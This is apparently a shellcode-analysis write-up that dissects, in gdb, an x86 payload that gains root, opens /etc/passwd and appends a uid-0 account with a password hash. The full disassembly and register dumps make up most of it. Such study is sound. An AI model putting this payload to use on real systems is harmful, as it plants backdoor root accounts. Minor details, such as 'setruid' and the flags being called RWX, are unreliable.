           0x08048472 <+37>: mov    DWORD PTR [esp+0x1c],0x804a040
           0x0804847a <+45>: mov    eax,DWORD PTR [esp+0x1c]
           0x0804847e <+49>: call   eax
           0x08048480 <+51>: leave  
           0x08048481 <+52>: ret    
        End of assembler dump.
        (gdb) break *0x804a040
        Breakpoint 1 at 0x804a040
        (gdb) r
        Starting program: /home/abatchy/Desktop/workspace/adduserWrapper.out 
        Shellcode size: 40
        
        Breakpoint 1, 0x0804a040 in sc ()
        

        Shellcode disassembly:

        Dump of assembler code for function sc:
           0x0804a040 <+0>: xor    ecx,ecx
           0x0804a042 <+2>: mov    ebx,ecx
           0x0804a044 <+4>: push   0x46
           0x0804a046 <+6>: pop    eax
           0x0804a047 <+7>: int    0x80
           0x0804a049 <+9>: push   0x5
           0x0804a04b <+11>: pop    eax
           0x0804a04c <+12>: xor    ecx,ecx
           0x0804a04e <+14>: push   ecx
           0x0804a04f <+15>: push   0x64777373
           0x0804a054 <+20>: push   0x61702f2f
           0x0804a059 <+25>: push   0x6374652f
           0x0804a05e <+30>: mov    ebx,esp
           0x0804a060 <+32>: inc    ecx
           0x0804a061 <+33>: mov    ch,0x4
           0x0804a063 <+35>: int    0x80
           0x0804a065 <+37>: xchg   ebx,eax
           0x0804a066 <+38>: call   0x804a090 <sc+80>
           0x0804a06b <+43>: popa   
           0x0804a06c <+44>: bound  esp,QWORD PTR [ecx+0x74]
           0x0804a06f <+47>: arpl   WORD PTR [eax+0x79],bp
           0x0804a072 <+50>: cmp    al,BYTE PTR [ecx+0x7a]
           0x0804a075 <+53>: bound  eax,QWORD PTR [edi+0x66]
           0x0804a078 <+56>: push   eax
           0x0804a079 <+57>: cmp    BYTE PTR ss:[eax],bh
           0x0804a07c <+60>: dec    esi
           0x0804a07d <+61>: je     0x804a0e0
           0x0804a07f <+63>: cmp    dh,BYTE PTR cs:[eax]
           0x0804a082 <+66>: cmp    dh,BYTE PTR [eax]
           0x0804a084 <+68>: cmp    bh,BYTE PTR [edx]
           0x0804a086 <+70>: das    
           0x0804a087 <+71>: cmp    ch,BYTE PTR [edi]
           0x0804a089 <+73>: bound  ebp,QWORD PTR [ecx+0x6e]
           0x0804a08c <+76>: das    
           0x0804a08d <+77>: jae    0x804a0f7
           0x0804a08f <+79>: or     bl,BYTE PTR [ecx-0x75]
           0x0804a092 <+82>: push   ecx
           0x0804a093 <+83>: cld    
           0x0804a094 <+84>: push   0x4
           0x0804a096 <+86>: pop    eax
           0x0804a097 <+87>: int    0x80
           0x0804a099 <+89>: push   0x1
           0x0804a09b <+91>: pop    eax
           0x0804a09c <+92>: int    0x80
           0x0804a09e <+94>: add    BYTE PTR [eax],al
        End of assembler dump.
        

        Awesome, now let's analyze these instructions. We'll be doing the following:
        1. Put break points at interrupts or calls.
        2. Observe any JMP behaviour.
        3. Occasionally analyze instructions manually.

        2.1. setruid(0,0)


        Let's set a break point at 0x804a047, command: break *0x804a047


        Register values:
        EAX = 0x46
        EBX = 0
        ECX = 0
        EDX = Poiner to NULL

        EAX contains 70, which is for syscall setruid(). This function will set the real and effective UID.

        syscall made: setruid(NULL, NULL)
        Reference: http://man7.org/linux/man-pages/man2/setreuid.2.html

        Since both EBX (first argument) and ECX (second argument) are zeroes, setruid(0,0) is executed. This is needed to have permissions to edit /etc/passwd.

        2.2 open("/etc/passwd", O_WRONLY|O_APPEND, 0)


        Next int 0x80 is at 0x0804a063, let's break at that.


        Register values:
        EAX = 5
        EBX points to string "/etc/passwd"
        ECX = 0x401
        EDX = 0

        5 is for syscall open(const char * filename, int flags, int mode)

        syscall made: open("/etc/passwd", O_WRONLY|O_APPEND, 0)
        Reference: http://man7.org/linux/man-pages/man2/open.2.html
        Flags indicate file permissions are RWX.

        On return, a file descriptor is stored in EAX for the opened file. It's stored in EBX through the "xchg eax, ebx" command.

        2.3 Writing to "/etc/passwd"


        Next interrupt is at 0x0804a097, this part is brilliant. You'll notice that at 0x0804a066 sc+80 is being called. Reason is that the string to be appended to "/etc/passwd" is between 0x804a06b and 0x804A0A1. Calling sc+80 pushes EIP (after being incremented, which happens to point onto our string) onto the stack. Take a moment to observe that in the screenshot:


        To sum this part up:
        1.0x0804a066 <+38>: call 0x804a090 <sc+80>
        Call sc+80, EIP is incremented to point at 0x804a06b (beginning of string) and pushed onto stack.

        2. 0x804a090 <sc+80>:    pop    ecx
        Store pointer to string in ECX

        Let's skip to 0x804a097.


        Register values:
        EAX =4
        EBX = 3
        ECX points to /etc/passwd entry for abatchy:killem
        EDX = 0x25


        4 is for write(int fd, const void *buf, size_t count);
        Reference: http://man7.org/linux/man-pages/man2/write.2.html

        syscall made: write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
        This will simply append the string to file descriptor 3, which is a reference to the opened file /etc/passwd.

        2.4 Exiting


        Pretty self-explanatory, code exits with status 3.

        TL;DR

         

        1. setreuid(0,0): Ensure real/effective UID is of root.
        2. open("/etc/passwd, O_WRONLY|O_APPEND, 0): Open file and append to it.
        3. write(3, "abatchy:AzbGfP688Nta.:0:0::/:/bin/sh" , 37);
        4. exit(3)

        - Abatchy